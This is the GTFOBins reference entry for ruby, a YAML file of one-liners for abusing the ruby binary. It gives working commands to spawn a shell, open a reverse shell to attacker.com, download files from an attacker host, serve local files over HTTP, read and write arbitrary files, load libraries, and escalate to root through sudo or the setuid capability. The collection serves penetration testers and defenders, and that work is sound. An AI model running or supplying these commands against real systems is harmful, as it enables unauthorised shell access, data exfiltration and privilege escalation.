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GTFOBins.github.io/_gtfobins/ruby.md
2019-01-02 15:28:13 +00:00

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---
functions:
shell:
- code: ruby -e 'exec "/bin/sh"'
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
file-upload:
- description: Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.
code: |
export LPORT=8888
ruby -run -e httpd . -p $LPORT
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'
file-write:
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
file-read:
- code: ruby -e 'puts File.read("file_to_read")'
library-load:
- code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
sudo:
- code: sudo ruby -e 'exec "/bin/sh"'
capabilities:
- code: ./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
---